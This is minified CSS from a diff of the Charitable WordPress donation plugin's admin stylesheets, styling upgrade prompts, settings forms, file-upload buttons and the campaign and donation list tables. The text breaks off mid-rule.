#dadada;padding:0 !important;background-color:#fff;background-image:url("../../images/lite-to-pro/cta.png");background-size:100%;background-repeat:no-repeat;background-position:500px 0}.charitable-cta-lite-to-pro .charitable-cta-content{margin-top:40px !important;display:flex;flex-wrap:wrap;flex-direction:row;width:100%;justify-content:space-between;align-items:center;gap:50px}.charitable-cta-lite-to-pro .charitable-cta-content h5{font-size:20px;line-height:24px;font-weight:700;margin:0px 0 10px 0}.charitable-cta-lite-to-pro .charitable-cta-content > div{flex:1.5}.charitable-cta-lite-to-pro .charitable-cta-content > div:first-child{flex:1.5}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left{padding:0px 25px 0px 25px}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left .charitable-cta-list{margin:20px 0 0 0 !important}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left .charitable-cta-list ul{display:flex;margin-bottom:20px !important;float:none !important;flex-direction:row;justify-content:space-between;align-items:center;flex-wrap:wrap;width:100% !important;padding:10px 0;gap:10px}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left .charitable-cta-list ul li{margin:0 0 10px 0 !important;padding:0 0 0 30px !important;color:#555;font-size:13px;line-height:14px;position:relative;width:calc(50% - 40px)}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left .charitable-cta-list ul li:before{content:"✓" !important;position:absolute;width:16px;height:16px;background:transparent;border:2px solid #218900;border-radius:50%;display:inline-flex;align-items:center;justify-content:center;color:#218900;font-size:10px;left:0;top:2px}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left a.button-primary{background-color:#218900;color:#fff;border:none;font-weight:600;padding:15px 20px !important;border-radius:5px !important;line-height:normal !important;min-height:50px !important;height:50px !important}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left a.button-primary:hover{background-color:#1a6d00}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-featured-image{display:flex}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-featured-image img{width:100%;height:120%;object-fit:cover;max-width:100%;border:1px solid #dadada}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-button-container{display:flex;justify-content:start;align-items:center;flex-direction:row;gap:20px}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-button-container p{color:#555}.charitable-cta-lite-to-pro.no-close-button .charitable-cta-content{margin-top:30px !important;margin-bottom:20px !important}body.charitable_page_charitable-reports .charitable-cta-lite-to-pro{max-width:100%;margin-left:auto;margin-right:auto;overflow:hidden;background-image:none !important}body.charitable_page_charitable-reports .charitable-cta-lite-to-pro .charitable-cta-content{padding-bottom:20px !important}body.charitable_page_charitable-reports .charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left ul li:before{top:-1px !important}body.charitable_page_charitable-reports .charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-featured-image{display:none !important}body.charitable_page_charitable-addons .charitable-cta-lite-to-pro,body.charitable_page_charitable-dashboard .charitable-cta-lite-to-pro{max-width:1000px;overflow:hidden}body.charitable_page_charitable-addons .charitable-cta-lite-to-pro .charitable-cta-content,body.charitable_page_charitable-dashboard .charitable-cta-lite-to-pro .charitable-cta-content{justify-content:flex-start}body.charitable_page_charitable-addons .charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left,body.charitable_page_charitable-dashboard .charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left{margin-bottom:-10px !important}body.charitable_page_charitable-addons .charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-featured-image,body.charitable_page_charitable-dashboard .charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-featured-image{max-height:400px}body.charitable_page_charitable-addons .charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-featured-image img,body.charitable_page_charitable-dashboard .charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-featured-image img{max-height:100%}@media (max-width:1100px){.charitable-cta-lite-to-pro{background-image:none}.charitable-cta-lite-to-pro .charitable-cta-content{flex-direction:column}}#charitable-reports .reports-lite-cta{position:absolute !important;z-index:9999999;top:50%;left:0;right:0;transform:translateY(-50%);margin:25px 25px 125px 25px !important}#charitable-reports .dashboard-lite-cta{position:relative !important;margin:0 !important;transform:none !important}#charitable-reports .reports-lite-cta .list{margin:0 0 16px 0;overflow:auto;max-width:900px}#charitable-reports .reports-lite-cta .green{color:#218900;font-weight:600}#charitable-reports .reports-lite-cta .fa-star{color:#ff982d}#charitable-settings .settings-lite-cta ul li{margin:0;padding:0 0 2px 16px;color:#555;font-size:14px;position:relative}#charitable-settings .settings-lite-cta ul li:before{content:"+";position:absolute;top:-1px;left:0}#charitable-settings .settings-lite-cta .list{margin:0 0 16px 0;overflow:auto;max-width:900px}#charitable-settings .settings-lite-cta .green{color:#218900;font-weight:600}#charitable-settings .settings-lite-cta .fa-star{color:#ff982d}#charitable-settings .tablenav .tablenav-pages a,#charitable-settings .tablenav .tablenav-pages .tablenav-pages-navspan{min-width:28px;height:auto}.charitable-admin-wrap #charitable-settings .notice{margin-left:0 !important;margin-right:0 !important}select#charitable_settings_import_donations{margin-bottom:10px;width:100%}.form-table td p.top-label{margin-bottom:10px}th .badge,body.post-type-charitable .postbox h2 .badge{display:inline-block;padding:0.25em 0.4em;font-size:75%;font-weight:700;line-height:11px;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:0.25rem}th .badge.beta,body.post-type-charitable .postbox h2 .badge.beta{color:#fff;background-color:#007bff}.charitable-setting-dropdown-container,.charitable-setting-file-container{margin-bottom:10px;margin-top:5px}form.form-contains-file.charitable-import-campaign-donations-form{margin-top:5px}form.form-contains-file{margin-top:15px}form.form-contains-file input[type=file].charitable-settings-field{font-size:14px}.charitable-setting-file-container{display:flex;align-items:center;justify-content:flex-start;max-width:650px;margin-top:-5px}.charitable-setting-file-container input[type=file]{padding:4px;margin:-4px;position:relative;outline:none}.charitable-setting-file-container input[type=file]::file-selector-button{border-radius:4px;padding:0 16px;height:40px;cursor:pointer;background-color:white;border:1px solid rgba(0, 0, 0, 0.16);box-shadow:0px 1px 0px rgba(0, 0, 0, 0.05);margin-right:16px;width:132px;color:transparent}@supports (-moz-appearance:none){.charitable-setting-file-container input[type=file]::file-selector-button{color:#0964B0}}.charitable-setting-file-container input[type=file]::file-selector-button:hover{background-color:#f3f4f6}.charitable-setting-file-container input[type=file]::file-selector-button:active{background-color:#e5e7eb}.charitable-setting-file-container input[type=file]::before{position:absolute;pointer-events:none;top:11px;left:16px;height:20px;width:20px;content:"";background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' fill='%230964B0'%3E%3Cpath d='M18 15v3H6v-3H4v3c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-3h-2zM7 9l1.41 1.41L11 7.83V16h2V7.83l2.59 2.58L17 9l-5-5-5 5z'/%3E%3C/svg%3E")}.charitable-setting-file-container input[type=file]::after{position:absolute;pointer-events:none;top:10px;left:43px;color:#0964B0;content:"Upload File"}.charitable-setting-file-container input[type=file]:focus-within::file-selector-button,.charitable-setting-file-container input[type=file]:focus::file-selector-button{outline:2px solid #0964B0;outline-offset:2px}table.charitable-donor-history-table td p{margin:0}body.charitable-admin-reports-dashboard #charitable-reports .reports-lite-cta,body.charitable-admin-settings #charitable-settings .settings-lite-cta{position:relative !important;top:0;transform:none !important;margin-left:0 !important}#charitable-reports .reports-lite-cta .dismiss,#charitable-settings .settings-lite-cta .dismiss{position:absolute;top:10px;right:10px;color:#666;font-size:16px;text-decoration:none}#charitable-reports .reports-lite-cta h5,#charitable-settings .settings-lite-cta h5{margin:0 0 16px;font-size:18px;font-weight:600;line-height:24px}#charitable-reports .reports-lite-cta h6,#charitable-settings .settings-lite-cta h6{font-weight:700;font-size:14px;margin:0 0 16px}#charitable-reports .reports-lite-cta p,#charitable-settings .settings-lite-cta p{color:#555;font-size:14px;margin:0 0 16px}#charitable-reports .reports-lite-cta p:last-of-type,#charitable-settings .settings-lite-cta p:last-of-type{margin:0}#charitable-reports .reports-lite-cta p a,#charitable-settings .settings-lite-cta p a{color:#e27730}#charitable-reports .reports-lite-cta p a:hover,#charitable-settings .settings-lite-cta p a:hover{color:#b85a1b}#charitable-reports .reports-lite-cta ul,#charitable-settings .settings-lite-cta ul{margin:0;padding:0;width:50%;float:left} \ No newline at end of file @@ -1 +1 @@ -@charset "UTF-8";@import url(https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;800&display=swap);.charitable-toggle-control{display:block;margin:6px 1px 5px 0}.charitable-toggle-control input[type=checkbox]{display:none;height:0;width:0}.charitable-toggle-control input[type=checkbox]:checked+label.charitable-toggle-control-icon{background-color:#036aab}.charitable-toggle-control input[type=checkbox]:checked+label.charitable-toggle-control-icon:after{left:calc(100% - 15px - 2px)}.charitable-toggle-control label,.charitable-toggle-control span{display:inline-block;margin-bottom:0;margin-left:5px}.charitable-toggle-control label{cursor:pointer}.charitable-toggle-control .charitable-toggle-control-label{margin:0 0 0 6px;max-width:calc(100% - 65px)}.charitable-toggle-control .charitable-toggle-control-label:hover{cursor:pointer}.charitable-toggle-control .charitable-toggle-control-status{color:#86919e;font-size:12px;line-height:14px;margin:2px 5px}.charitable-toggle-control .charitable-toggle-control-icon{background-color:#bbb;border-radius:8.5px;cursor:pointer;display:inline-block;height:17px;margin:0 1px;position:relative;text-indent:-9999px;width:32px}.charitable-toggle-control .charitable-toggle-control-icon:after{background:#fff;border-radius:50%;content:"";height:15px;left:2px;position:absolute;top:1px;width:15px;transition-property:all;transition-duration:.25s;transition-timing-function:ease-out}.charitable-toggle-control:hover input:checked+label.charitable-toggle-control-icon{background-color:#215d8f}.charitable-toggle-control:hover .charitable-toggle-control-icon{background-color:#777}.charitable-group.charitable-layout-options-tab-group .charitable-toggle-control-icon{margin:-4px 1px}.charitable-panel-sidebar .charitable-toggle-control .charitable-toggle-control-icon{background-color:#b0b6bd}.charitable-panel-sidebar .charitable-toggle-control:hover .charitable-toggle-control-icon{background-color:#86919e}.charitable-panel-sidebar .charitable-toggle-control.charitable-field-option-in-label-right .charitable-toggle-control-label{color:#86919e;font-size:12px;line-height:14px;margin:2px 5px;max-width:initial}body.post-type-charitable #wpbody-content .wrap,body.post-type-donation #wpbody-content .wrap,body[class*=charitable_page_] #wpbody-content .wrap{padding-left:10px;padding-right:10px}body.charitable_page_charitable-addons #wpbody-content .wrap{padding-left:5px;padding-right:5px}#charitable-admin-header{background-color:#fff;margin:0 0 0 -20px;padding-right:20px;width:100%;border-top:3px solid #e89940;border-bottom:1px solid #ddd;border-left:0;border-right:0}[dir=rtl] #charitable-admin-header{margin:0 -20px 0 0}#charitable-admin-header .charitable-admin-header-interior{padding:0 30px;display:flex;justify-content:center;align-items:center;min-height:80px}#charitable-admin-header h1{flex:1;text-align:left}[dir=rtl] #charitable-admin-header h1{text-align:right}#charitable-admin-header .round{border-radius:50%;width:40px;height:40px;display:flex;align-items:center;justify-content:center;cursor:pointer;transition:background-color .2s ease;animation:wpchar-menu-notification-indicator-pulse 1.5s infinite}#charitable-admin-header .charitable-header-logos{text-align:right}#charitable-admin-header .charitable-header-logos ul{margin:0 -20px 0 0;padding:0;display:flex}#charitable-admin-header .charitable-header-logos ul li{margin:0 10px;display:inline-block;width:30px;height:30px}#charitable-admin-header .charitable-header-logos ul li a{display:block}#charitable-admin-header .charitable-header-logos ul li a.charitable-notification-inbox{position:relative}#charitable-admin-header .charitable-header-logos ul li a.charitable-notification-inbox svg{width:30px;height:34.5px;margin:0;padding:0;position:relative;top:-4px;color:#8c8e96}#charitable-admin-header .charitable-header-logos ul li a.charitable-notification-inbox .number{position:absolute;background-color:#df2a4a;width:16px;height:16px;font-weight:600;font-size:10px;color:#fff;right:-3px;top:-5px;margin:0;margin-left:0;animation:wpchar-bounce-in 1.2s 5;z-index:2}#charitable-admin-header .charitable-header-logos ul li a:hover{opacity:.5}@keyframes wpchar-bounce-in{0%,100%,30%,50%,80%{transform:translateY(0);opacity:1}40%{transform:translateY(-10px)}60%{transform:translateY(-5px)}}body.post-type-campaign #posts-filter button,body.post-type-campaign #posts-filter input,body.post-type-campaign #posts-filter select,body.post-type-campaign #posts-filter textarea{font-family:Inter,sans-serif!important}body.post-type-campaign table{border-color:#ddd}body.post-type-campaign table tfoot th a,body.post-type-campaign table thead th a{color:#6a6c77;font-weight:500}body.post-type-campaign table tfoot td,body.post-type-campaign table tfoot th,body.post-type-campaign table thead td,body.post-type-campaign table thead th{border-color:#ddd}body.post-type-campaign table td.title{font-weight:400;padding-right:50px}body.post-type-campaign table td.title a{font-weight:400}body.post-type-campaign h1{font-family:Inter,sans-serif;font-weight:500}body.post-type-campaign h1.wp-heading-inline{font-size:21px;margin-right:10px;margin-bottom:5px;margin-top:20px}body.post-type-campaign #screen-meta-links{display:none}body.post-type-campaign.edit-tags-php p.search-box{position:relative;right:0;bottom:0;margin-top:20px;display:none}body.post-type-campaign.edit-tags-php span.subtitle{padding:0;margin:25px 0 0 0;display:block;width:100%}body.post-type-campaign #input.button,body.post-type-campaign input#search-submit,body.post-type-campaign select{background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7;height:38px;padding-top:0;padding-bottom:0}body.post-type-campaign form#posts-filter .tablenav{font-family:Inter,sans-serif}body.post-type-campaign form#posts-filter .tablenav select{min-width:160px}body.post-type-campaign form#posts-filter .tablenav.top{margin-bottom:20px}body.post-type-campaign form#posts-filter .tablenav.top button,body.post-type-campaign form#posts-filter .tablenav.top select{font-size:13px;line-height:29px;font-weight:500}body.post-type-campaign form#posts-filter .tablenav.top button{padding:0 15px}body.post-type-campaign form#posts-filter .tablenav.bottom{margin-top:25px}body.post-type-campaign form#posts-filter .tablenav.bottom button,body.post-type-campaign form#posts-filter .tablenav.bottom select{font-size:13px;line-height:29px;font-weight:500}body.post-type-campaign form#posts-filter .tablenav.bottom button{padding:0 15px}body.post-type-campaign .charitable-campaign-export-actions,body.post-type-campaign .charitable-campaign-filter-actions,body.post-type-campaign .charitable-campaign-legacy-actions{font-family:Inter,sans-serif}body.post-type-campaign .charitable-campaign-export-actions a,body.post-type-campaign .charitable-campaign-filter-actions a,body.post-type-campaign .charitable-campaign-legacy-actions a{font-size:14px;pointer-events:all;line-height:19px;color:#2b66d1;font-weight:500;display:inline-block;padding-top:8px}body.post-type-campaign .charitable-campaign-export-actions a label,body.post-type-campaign .charitable-campaign-filter-actions a label,body.post-type-campaign .charitable-campaign-legacy-actions a label{display:block;text-decoration:underline;float:left;margin-top:-2px;cursor:pointer}body.post-type-campaign .charitable-campaign-export-actions a img,body.post-type-campaign .charitable-campaign-filter-actions a img,body.post-type-campaign .charitable-campaign-legacy-actions a img{width:16px;height:16px;display:block;margin-right:4px;float:left}body.post-type-campaign .charitable-campaign-export-actions a.charitable-campaigns-clear,body.post-type-campaign .charitable-campaign-filter-actions a.charitable-campaigns-clear,body.post-type-campaign .charitable-campaign-legacy-actions a.charitable-campaigns-clear{font-weight:400;padding:5px 15px;margin:0 0 0 5px}body.post-type-campaign .charitable-campaign-legacy-actions a img{width:33px;height:32px;display:block;float:left;margin:2px -2px 0 -5px}body.post-type-campaign .charitable-campaign-filter-actions{margin-right:10px}body.post-type-campaign .charitable-campaign-filter-actions a img{width:11px;height:11px;margin-top:2px}body.post-type-campaign .charitable-legacy-actions{margin-left:10px;margin-top:3px}body.post-type-campaign input#post-search-input{border-color:#e4e4e7}body.post-type-campaign .jconfirm .jconfirm-cell{display:block}body.post-type-campaign.edit-php.post-type-campaign th.check-column label:hover{background-color:transparent}body.post-type-campaign.edit-php.post-type-campaign .check-column input:hover+label{background-color:transparent}body.post-type-campaign.edit-php.post-type-campaign tbody#the-list td{vertical-align:middle}body.post-type-campaign.edit-php.post-type-campaign .actions{vertical-align:middle}body.post-type-campaign.edit-php.post-type-campaign .actions button{font-size:18px;border-radius:0;box-shadow:none;border:1px solid #ccc;background-color:transparent;margin:0 5px 0 0}body.post-type-campaign.edit-php.post-type-campaign tbody#the-list th.check-column input[type=checkbox]{margin-top:3px}body.post-type-campaign.edit-php.post-type-campaign tbody#the-list td,body.post-type-campaign.edit-php.post-type-campaign tbody#the-list th.check-column{vertical-align:top;padding-top:20px;height:80px}body.post-type-campaign.edit-php.post-type-campaign tbody#the-list td.column-actions{padding-top:19px}body.post-type-campaign.edit-php.post-type-campaign tbody#the-list td.column-creator .charitable-campaign-creator-avatar{border-radius:50%;max-width:25px;max-height:25px;float:left}body.post-type-campaign.edit-php.post-type-campaign tbody#the-list td.column-creator .charitable-campaign-creator-name{display:inline-block;margin-left:10px;margin-top:2px}body.post-type-campaign.edit-php.post-type-campaign .donated .meter{height:10px;position:relative;background:#d3d3d3;padding:0;margin:10px auto 0 0;width:75%;box-shadow:inset 0 -1px 1px rgba(255,255,255,.3)}body.post-type-campaign.edit-php.post-type-campaign .donated .meter>span{display:block;height:100%;border-top-right-radius:8px;border-bottom-right-radius:8px;border-top-left-radius:20px;border-bottom-left-radius:20px;background-color:#00a32a;background-image:linear-gradient(center bottom,#2bc253 37%,#54f054 69%);box-shadow:inset 0 2px 9px rgba(255,255,255,.3),inset 0 -2px 6px rgba(0,0,0,.4);position:relative;overflow:hidden}body.post-type-campaign.edit-php.post-type-campaign .column-status mark{padding:0 0;margin:0;text-align:center;white-space:nowrap;background:#fff;border-radius:0;font-size:14px;font-weight:400;letter-spacing:1px;text-transform:capitalize;color:#2d2d2d}body.post-type-campaign.edit-php.post-type-campaign .column-status mark.active{color:#00a32a;background-color:transparent}body.post-type-campaign.edit-php.post-type-campaign .column-status mark.draft{color:#545660;background-color:transparent}body.post-type-campaign.edit-php.post-type-campaign .column-status mark.finished{color:#215d8f;background-color:transparent}body.post-type-campaign.edit-php.post-type-campaign .column-status mark.successful{color:#215d8f;background-color:transparent}body.post-type-campaign.edit-php.post-type-campaign .column-status mark.unsuccessful{color:#d63638;background-color:transparent}body.post-type-campaign.edit-php.post-type-campaign .tablenav.top>.tablenav-pages{display:none}body.post-type-campaign #wpbody-content .page-title-action{background-color:#5aa152;border-radius:5px;border-color:#5aa152;color:#fff;height:28px;display:inline-block;padding-top:0;padding-bottom:0;line-height:26px;top:-2px}body.post-type-campaign #wpbody-content .page-title-action:hover{background-color:#3f7539}body.post-type-campaign.charitable-trash .charitable-export-actions{display:none}body.post-type-campaign.charitable-trash #delete_all{margin-top:0!important;background-color:#f8f8f9;border:1px solid #d7d7db;border-radius:5px;box-shadow:none;color:#5c5f6a;font-weight:600!important}@media screen and (max-width:1200px){body.post-type-campaign form#posts-filter .tablenav.top{max-width:500px;display:table}body.post-type-campaign form#posts-filter .tablenav.top select{margin-bottom:15px}}@media screen and (max-width:782px){body.post-type-campaign .tablenav .view-switch,body.post-type-campaign .tablenav.top .actions{display:block!important}body.post-type-campaign p.search-box{position:relative;margin:0;right:auto;top:auto}body.post-type-campaign.admin-bar #charitable-admin-header{margin-top:46px}body.charitable_page_charitable-about #wpbody,body.charitable_page_charitable-reports #wpbody,body.charitable_page_charitable-tools #wpbody{padding-top:0}body.charitable_page_charitable-about .wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.column-primary)::before,body.charitable_page_charitable-reports .wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.column-primary)::before,body.charitable_page_charitable-tools .wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.column-primary)::before{display:none}body.charitable_page_charitable-about .tablenav .view-switch,body.charitable_page_charitable-about .tablenav.top .actions,body.charitable_page_charitable-reports .tablenav .view-switch,body.charitable_page_charitable-reports .tablenav.top .actions,body.charitable_page_charitable-tools .tablenav .view-switch,body.charitable_page_charitable-tools .tablenav.top .actions{display:block!important}body.charitable_page_charitable-about h2.nav-tab-wrapper,body.charitable_page_charitable-reports h2.nav-tab-wrapper,body.charitable_page_charitable-tools h2.nav-tab-wrapper{margin-bottom:0!important;margin-top:0!important}body.charitable_page_charitable-about h2.nav-tab-wrapper a.nav-tab,body.charitable_page_charitable-reports h2.nav-tab-wrapper a.nav-tab,body.charitable_page_charitable-tools h2.nav-tab-wrapper a.nav-tab{margin-top:10px!important;margin-bottom:10px!important}body.charitable_page_charitable-about.admin-bar #charitable-admin-header,body.charitable_page_charitable-reports.admin-bar #charitable-admin-header,body.charitable_page_charitable-tools.admin-bar #charitable-admin-header{padding-top:46px}body.charitable_page_charitable-dashboard .tablenav .view-switch,body.charitable_page_charitable-dashboard .tablenav.top .actions{display:block!important;width:100%}}@media screen and (max-width:600px){body.admin-bar.charitable_page_charitable-dashboard #charitable-admin-header,body.admin-bar.post-type-campaign #charitable-admin-header{margin-bottom:-46px;padding-top:46px;margin-top:0}body.admin-bar.charitable_page_charitable-dashboard .row-actions span.id,body.admin-bar.post-type-campaign .row-actions span.id{color:#000;line-height:24px;font-size:13px;margin-left:8px;margin-right:0}}body.post-type-campaign .search-box input[name=s],body.post-type-donation .search-box input[name=s],body[class*=charitable_page_] .search-box input[name=s]{margin:2px 4px 0 0;height:34px}body.post-type-campaign input#search-submit,body.post-type-donation input#search-submit,body[class*=charitable_page_] input#search-submit{margin-top:2px;height:34px}body.post-type-campaign .alignleft.actions input[type=submit],body.post-type-campaign .alignleft.actions select,body.post-type-donation .alignleft.actions input[type=submit],body.post-type-donation .alignleft.actions select,body[class*=charitable_page_] .alignleft.actions input[type=submit],body[class*=charitable_page_] .alignleft.actions select{min-height:32px;height:38px}body.post-type-campaign .charitable-campaign-action-button,body.post-type-donation .charitable-campaign-action-button,body[class*=charitable_page_] .charitable-campaign-action-button{cursor:pointer;padding:5px 4px;border:1px solid #e1e3e5;background-color:#fff;width:20px;height:18px;border-radius:3px;color:#5f616b;display:inline-block;text-align:center;vertical-align:middle;margin-right:10px;line-height:23px}body.post-type-campaign .charitable-campaign-action-button:hover,body.post-type-donation .charitable-campaign-action-button:hover,body[class*=charitable_page_] .charitable-campaign-action-button:hover{color:#fff}body.post-type-campaign.edit-php.charitable-campaigns-0-published #posts-filter tbody#the-list td,body.post-type-campaign.edit-php.charitable-campaigns-0-trash #posts-filter tbody#the-list td{vertical-align:middle;padding-top:20px;padding-bottom:20px;height:auto}body.post-type-campaign.edit-php.charitable-campaigns-0-published #posts-filter tbody#the-list tr.child td,body.post-type-campaign.edit-php.charitable-campaigns-0-trash #posts-filter tbody#the-list tr.child td{padding-top:0;padding-bottom:0}body.post-type-campaign.edit-php.charitable-campaigns-0-published .tablenav.top .charitable-export-actions,body.post-type-campaign.edit-php.charitable-campaigns-0-trash .tablenav.top .charitable-export-actions{margin-left:0}body.post-type-campaign.edit-php.charitable-campaigns-0-published .tablenav.top .charitable-legacy-actions,body.post-type-campaign.edit-php.charitable-campaigns-0-trash .tablenav.top .charitable-legacy-actions{margin-left:15px}.body.post-type-campaign.edit-php.charitable-campaigns-0-trash .charitable-campaign-legacy-actions{display:none!important}body.post-type-donation #posts-filter button,body.post-type-donation #posts-filter input,body.post-type-donation #posts-filter select,body.post-type-donation #posts-filter textarea{font-family:Inter,sans-serif!important}body.post-type-donation table{border-color:#ddd}body.post-type-donation table tfoot th a,body.post-type-donation table thead th a{color:#6a6c77;font-weight:500}body.post-type-donation table tfoot td,body.post-type-donation table tfoot th,body.post-type-donation table thead td,body.post-type-donation table thead th{border-color:#ddd}body.post-type-donation table td.title{font-weight:400;padding-right:50px}body.post-type-donation table td.title a{font-weight:400;color:#454955}body.post-type-donation h1{font-family:Inter,sans-serif;font-weight:500}body.post-type-donation h1.wp-heading-inline{font-size:21px;margin-right:10px;margin-bottom:5px;margin-top:20px}body.post-type-donation #screen-meta-links{display:none}body.post-type-donation p.search-box{position:absolute;right:20px;top:auto;margin-top:39px}body.post-type-donation input#search-submit,body.post-type-donation input.button,body.post-type-donation select{background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7}body.post-type-donation form#posts-filter .tablenav{font-family:Inter,sans-serif}body.post-type-donation form#posts-filter .tablenav select{min-width:160px}body.post-type-donation form#posts-filter .tablenav.top{margin-bottom:20px}body.post-type-donation form#posts-filter .tablenav.top button,body.post-type-donation form#posts-filter .tablenav.top select{font-size:13px;line-height:29px;font-weight:500}body.post-type-donation form#posts-filter .tablenav.top button{padding:0 15px}body.post-type-donation form#posts-filter .tablenav.bottom{margin-top:25px}body.post-type-donation form#posts-filter .tablenav.bottom button,body.post-type-donation form#posts-filter .tablenav.bottom select{font-size:13px;line-height:29px;font-weight:500}body.post-type-donation form#posts-filter .tablenav.bottom button{padding:0 15px}body.post-type-donation .charitable-donation-export-actions,body.post-type-donation .charitable-donation-filter-actions,body.post-type-donation .charitable-donation-legacy-actions{font-family:Inter,sans-serif}body.post-type-donation .charitable-donation-export-actions a,body.post-type-donation .charitable-donation-filter-actions a,body.post-type-donation .charitable-donation-legacy-actions a{font-size:14px;line-height:19px;color:#2b66d1;font-weight:500;display:inline-block;padding-top:9px}body.post-type-donation .charitable-donation-export-actions a label,body.post-type-donation .charitable-donation-filter-actions a label,body.post-type-donation .charitable-donation-legacy-actions a label{display:block;text-decoration:underline;float:left;margin-top:-2px}body.post-type-donation .charitable-donation-export-actions a img,body.post-type-donation .charitable-donation-filter-actions a img,body.post-type-donation .charitable-donation-legacy-actions a img{width:16px;height:16px;display:block;margin-right:4px;float:left}body.post-type-donation .charitable-donation-export-actions a.charitable-campaigns-clear,body.post-type-donation .charitable-donation-filter-actions a.charitable-campaigns-clear,body.post-type-donation .charitable-donation-legacy-actions a.charitable-campaigns-clear{font-weight:400;padding:5px 15px;margin:0 0 0 5px}body.post-type-donation .charitable-donations-clear.button{padding-top:4px;margin-left:10px;margin-top:2px}body.post-type-donation .charitable-donation-legacy-actions a{color:green}body.post-type-donation .charitable-donation-legacy-actions a img{margin-top:2px}body.post-type-donation .charitable-donation-filter-actions{margin-right:10px}body.post-type-donation .charitable-donation-filter-actions a img{width:11px;height:11px;margin-top:2px}body.post-type-donation input#post-search-input{border-color:#e4e4e7}body.post-type-donation #wpbody-content .page-title-action{background-color:#00a32a;color:#fff}body.post-type-donation #wpbody-content .charitable-donation-action-button{cursor:pointer;padding:5px 4px;border:1px solid #e1e3e5;background-color:#fff;width:20px;height:18px;border-radius:3px;color:#5f616b;display:inline-block;text-align:center;vertical-align:middle;margin-right:10px}body.post-type-donation #wpbody-content .charitable-donation-action-button:hover{color:#fff}body.post-type-donation .jconfirm .jconfirm-cell{display:block}body.post-type-donation.edit-php.post-type-donation tbody#the-list td{vertical-align:middle}body.post-type-donation.edit-php.post-type-donation .actions{vertical-align:middle}body.post-type-donation.edit-php.post-type-donation .actions button{font-size:18px;border-radius:0;box-shadow:none;border:1px solid #ccc;background-color:transparent;margin:0 5px 0 0}body.post-type-donation.edit-php.post-type-donation tbody#the-list th.check-column input[type=checkbox]{margin-top:3px}body.post-type-donation.edit-php.post-type-donation tbody#the-list td,body.post-type-donation.edit-php.post-type-donation tbody#the-list th.check-column{vertical-align:top;padding-top:20px}body.post-type-donation.edit-php.post-type-donation tbody#the-list tr.no-items td{padding-top:10px}body.post-type-donation.edit-php.post-type-donation tbody#the-list td.column-actions{padding-top:19px}body.post-type-donation.edit-php.post-type-donation tbody#the-list td.column-creator .charitable-donation-creator-avatar{border-radius:50%;max-width:25px;max-height:25px;float:left}body.post-type-donation.edit-php.post-type-donation tbody#the-list td.column-creator .charitable-donation-creator-name{display:inline-block;margin-left:10px;margin-top:2px}body.post-type-donation.edit-php.post-type-donation .donated .meter{height:10px;position:relative;background:#d3d3d3;padding:0;margin:10px auto 0 0;width:75%;box-shadow:inset 0 -1px 1px rgba(255,255,255,.3)}body.post-type-donation.edit-php.post-type-donation .donated .meter>span{display:block;height:100%;border-top-right-radius:8px;border-bottom-right-radius:8px;border-top-left-radius:20px;border-bottom-left-radius:20px;background-color:#00a32a;background-image:linear-gradient(center bottom,#2bc253 37%,#54f054 69%);box-shadow:inset 0 2px 9px rgba(255,255,255,.3),inset 0 -2px 6px rgba(0,0,0,.4);position:relative;overflow:hidden}body.post-type-donation.edit-php.post-type-donation .column-status mark{padding:0 0;margin:0;text-align:center;white-space:nowrap;background:#fff;border-radius:0;font-size:14px;font-weight:400;letter-spacing:1px;text-transform:capitalize;color:#2d2d2d}body.post-type-donation.edit-php.post-type-donation .column-status mark.active{color:#00a32a;background-color:transparent}body.post-type-donation.edit-php.post-type-donation .column-status mark.draft{color:#545660;background-color:transparent}body.post-type-donation.edit-php.post-type-donation .column-status mark.finished{color:#215d8f;background-color:transparent}body.post-type-donation.edit-php.post-type-donation .column-status mark.successful{color:#215d8f;background-color:transparent}body.post-type-donation.edit-php.post-type-donation .column-status mark.unsuccessful{color:#d63638;background-color:transparent}body.post-type-donation.edit-php.post-type-donation .tablenav.top>.tablenav-pages{display:none}body.post-type-donation #wpbody-content .page-title-action{background-color:#5aa152;border-radius:5px}body.post-type-donation .charitable-blank-slate{max-width:764px;text-align:center;margin:auto;padding:5em 0 0}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-hero-image{min-height:150px;opacity:.3}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-message{color:#444;font-size:1.5em;margin:1em auto 1em}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-buttons{margin-bottom:4em}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-buttons .charitable-blank-slate-cta{font-size:1.2em;padding:.75em 1.5em;margin:0 .25em;height:auto;display:inline-block!important;background:#fff;border-color:#000;color:#000}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-buttons .charitable-blank-slate-cta.charitable-button{display:inline-block;border-radius:4px;cursor:pointer;text-decoration:none;text-align:center;vertical-align:middle;white-space:nowrap;box-shadow:none;font-size:16px;font-weight:600!important;line-height:19px;padding:10px 